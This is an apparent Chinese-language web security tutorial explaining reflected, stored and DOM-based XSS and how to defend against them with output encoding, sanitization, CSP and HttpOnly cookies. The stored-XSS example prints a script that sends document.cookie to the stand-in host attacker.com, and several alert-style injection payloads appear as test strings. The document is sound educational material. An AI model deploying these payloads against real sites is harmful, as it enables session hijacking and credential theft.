XSS 攻击的类型和防御措施

FreeGuideOnline 最新 2026-07-09

XSS 攻击概述

跨站脚本攻击(Cross-Site Scripting,简称 XSS)是 Web 安全中最常见的漏洞之一。攻击者通过在目标网站上注入恶意脚本,当用户访问被污染的页面时,脚本会在用户的浏览器中执行,从而窃取信息、劫持会话或篡改页面内容。

XSS 的核心成因是应用程序对用户输入未经过充分验证或转义,直接将数据嵌入到 HTML 页面中。根据注入方式的不同,XSS 主要分为三种类型:反射型 XSS存储型 XSSDOM 型 XSS

反射型 XSS

攻击原理

反射型 XSS 也称为非持久型 XSS。恶意脚本通常通过 URL 参数表单提交 等方式传递到服务器,服务器未经处理直接将这些数据“反射”回响应页面。当用户点击特制的链接时,脚本便在浏览器中执行。

典型场景

一个常见的例子是搜索功能:用户输入关键词后,页面可能显示“您搜索的XXX的结果如下”。如果服务器没有对关键词进行过滤,攻击者可以构造如下链接:

https://example.com/search?q=<script>alert('XSS')</script>

当受害者点击该链接,<script> 标签会被直接嵌入返回的页面,从而弹出警告框。

特点与危害

  • 一次性触发:需要诱导用户点击链接,攻击不存储在服务器上。
  • 传播方式:通常通过邮件、即时消息或钓鱼网站发送恶意 URL。
  • 危害:盗取 Cookie 劫持会话、重定向到钓鱼页面、执行任意浏览器操作。

存储型 XSS

攻击原理

存储型 XSS 是最危险的类型。攻击者将恶意脚本提交到目标服务器的数据存储中(例如评论区、个人资料、留言板),当其他用户访问含有该恶意数据的页面时,脚本从服务器下发并在用户的浏览器中执行。

典型场景

假设一个论坛允许用户发表帖子,但没有过滤 JavaScript 代码。攻击者提交如下内容作为帖子正文:

<script>
  // 窃取 Cookie 并发送到攻击者服务器
  new Image().src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

每次有用户打开该帖子,脚本都会执行,将用户的 Cookie 悄悄发送出去。

特点与危害

  • 持久性:恶意代码留在服务器数据库中,影响所有访问该数据的用户。
  • 自动触发:受害者只需浏览正常页面即被攻击,无需点击特殊链接。
  • 危害更大:可能形成 XSS 蠕虫,快速传播,造成大量用户信息泄露。

DOM 型 XSS

攻击原理

DOM 型 XSS 与服务器响应无关,完全发生在客户端。攻击利用 JavaScript 在浏览器端处理 DOM 的不安全方式,将恶意数据写入页面。恶意载荷通常同样来自 URL 或 document.referrer 等客户端资源,但不会被发送给服务器。

典型场景

页面有如下 JavaScript 代码:

var user = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "你好," + user;

攻击者构造链接:

https://example.com/welcome#<img src=x onerror=alert('XSS')>

location.hash 的内容被 innerHTML 直接渲染,触发 onerror 事件执行恶意脚本。在整个过程中,带 <img> 的部分没有经过服务器。

特点与危害

  • 纯客户端问题:常规的服务器端过滤无法防御。
  • 隐蔽性:恶意数据可能出现在不易察觉的 URL 片段(# 后面)。
  • 常见危险操作innerHTMLdocument.writeeval 等不安全的 DOM 操作函数。

XSS 攻击的常见载荷与危害

无论哪种类型,XSS 最终都能在受害者浏览器中执行攻击者控制的 JavaScript。常见恶意行为包括:

  • Cookie 窃取:通过 document.cookie 读取敏感凭证,发送至远程服务器。
  • 会话劫持:利用偷来的 Session ID 冒充用户。
  • 钓鱼欺骗:在页面内伪造登录框,收集用户密码。
  • 网页篡改:修改页面内容,传播虚假信息。
  • 键盘记录:监听 keypress 事件记录用户输入。
  • 内网扫描:利用浏览器发起内部网络请求,探测开放端口。
  • 重定向与下载恶意软件:将用户引导到挂马页面。

XSS 防御措施

有效的 XSS 防御需要结合输出编码输入验证内容安全策略等多种手段,并在不同的上下文环境中选择合适的方案。

输出编码 (Contextual Output Encoding)

核心原则:根据数据插入到 HTML 上下文的位置,采用对应的转义规则。

  • HTML 实体编码: 当数据作为 HTML 文本内容或属性值插入时,将 <>"'& 等特殊字符转换为对应的 HTML 实体。例如 < 转为 &lt;
  • JavaScript 编码: 在 <script> 标签内或事件处理函数中插入动态数据时,使用 \x\u 转义,避免闭合脚本标签或属性。推荐将数据放在独立的 <script> 块外,通过 data-* 属性或 JSON 方式安全传递。
  • URL 编码: 当数据作为 URL 参数或 href 属性值时,进行百分号编码。同时验证 URL 协议,只允许 http:https:mailto: 等安全协议,禁止 javascript:
  • CSS 编码: 在动态生成样式时,防止表达式注入,使用 \ 对特殊字符转义。

现代前端框架(React、Vue、Angular 等)默认会对插入的数据进行 HTML 转义,但仍需注意 v-htmldangerouslySetInnerHTML 等绕过转义的特性。

输入验证与消毒

  • 白名单验证: 在服务端对所有输入进行校验,只接受符合预期格式的数据。例如,用户 ID 只允许数字和字母,邮箱符合标准格式。
  • HTML 消毒 (Sanitization): 如果业务必须允许用户输入富文本(如评论中的粗体、链接),应使用经过严格测试的消毒库(例如 DOMPurify、OWASP Java HTML Sanitizer)来移除或转义危险的标签和属性,仅保留安全的白名单元素。
  • 避免将用户输入置于危险上下文: 尽量不要将用户可控数据直接放入 <script> 标签、HTML 注释、CSS 属性名或事件处理器中。

使用 HTTP 安全头部

  • Content-Security-Policy (CSP): 通过指定允许加载资源的域名、禁止内联脚本和事件处理器等方式,极大降低 XSS 的利用成功率。一个严格的 CSP 策略示例:
    Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
    
    可以配合 noncehash 方式安全启用内联脚本。
  • HttpOnly Cookie: 对于 Session ID 等敏感 Cookie,设置 HttpOnly 标志,使其无法通过 JavaScript 的 document.cookie 访问,即使发生 XSS 也无法直接窃取。
  • X-XSS-Protection(已过时): 旧版浏览器支持的反射型 XSS 过滤器,现代浏览器已废弃,不依赖此头部。
  • X-Content-Type-Options: nosniff: 防止浏览器 MIME 类型嗅探,避免将用户上传的 HTML 文件当作可执行脚本。

安全使用 DOM API

  • 尽量使用 textContentinnerText 替代 innerHTML 来插入文本内容。
  • 避免使用 document.writeevalsetTimeout/setInterval 的字符串参数等可将字符串求值为代码的函数。
  • createElementsetAttribute 等安全 API 构建 DOM,并对属性值进行严格校验。
  • 如果必须动态加载脚本,请使用 script 元素的 src 属性并配合 nonce 或使用安全的第三方域。

框架与模板引擎的安全配置

  • 了解所用模板引擎的自动转义机制,并确保其始终处于开启状态。
  • 避免在模板中使用 {{ <user-data> | safe }} 或类似跳过转义的功能,除非数据已经过严格消毒。
  • 对于 React,避免使用 dangerouslySetInnerHTML,若必须使用,确保内容已经过 DOMPurify 消毒。
  • 前后端分离时,注意 API 返回的 JSON 数据不会被误当作 HTML 渲染,设置正确的 Content-Type: application/json 来防止反射型 XSS。

分层防御示例

一个健壮的 Web 应用应同时实施多层防御:

  1. 输入:对用户输入进行白名单验证,拒绝不符合预期的数据。
  2. 存储:数据进入数据库前不改变,但输出时强制使用适合 HTML 上下文的编码。
  3. 输出:所有动态数据在拼入 HTML 之前进行上下文相关的转义。
  4. 前端:使用安全 DOM API,避免将不可信数据传入危险函数。
  5. HTTP 头:设置 CSP 限制脚本来源,敏感 Cookie 标记 HttpOnly,防止 MIME 嗅探。
  6. 第三方库:及时更新依赖,使用信誉良好的消毒库处理富文本。

漏洞检测与测试

开发人员和安全测试人员应定期进行 XSS 测试:

  • 使用自动化扫描器(如 OWASP ZAP、Burp Suite)结合手动测试。
  • 测试常用载荷:<script>alert(1)</script>"><svg onload=alert(1)>javascript:alert(1) 等。
  • 在 URL 参数、表单字段、HTTP 头(如 Referer、User-Agent)等所有输入点尝试注入。
  • 检查 DOM 型 XSS:审查客户端 JavaScript 代码中使用 location.*innerHTML$.html() 等的位置。

总结

XSS 攻击的本质是信任了不可信的数据并执行了恶意脚本。防御的核心策略是:分离代码与数据,永远不要将用户提供的数据作为活动内容执行。通过严格的输出编码、输入验证、CSP 和安全的编程实践,开发者能有效消除绝大多数 XSS 风险。在安全上保持“零信任”原则:所有来自外部的数据都是不可信的,必须经过恰当处理后再使用。